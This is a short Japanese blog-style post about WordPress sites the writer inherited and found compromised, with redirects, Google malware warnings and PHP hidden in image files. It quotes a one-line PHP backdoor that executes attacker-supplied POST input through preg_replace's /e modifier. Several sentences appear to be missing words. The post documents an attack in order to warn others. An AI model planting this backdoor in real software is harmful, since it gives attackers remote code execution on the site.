気付かない所で攻撃してるので世の中のWPの大半は気付いてないだけですでに被害受けてると思っている。引き継いだWPのほとんどが被害を受けていたけど前任者は全く気付いてない。クラウドソーシングなんて本当に初心者しかいない。具体的な症状は勝手に別サイトにリダイレクトされるなど。検索結果から来てもリダイレクトされるのでGoogleからはマルウェアの警告が表示される。Consoleにはセキュリティの問題ありとされる。なんて名前でOSでプレビューすると画像だけど中身をよく見るとPHPコードが仕込まれてる。あって前回のログを残してる。ログを残すほど何度もやってきてる。暗号化というか難読化されてるコード書いても仕方ないしそんなに書ける例はなかった。if($POST["reg"]<>""){@preg_replace("/[checksql]/e",$_POST['reg'],"saft");}?>base64をdecodeして何か実行している。一応中国語?のコメント入りPHPファイルとかも残ってるけど全く分からないので。最近は新たな被害出てないので見つけたらまた書く。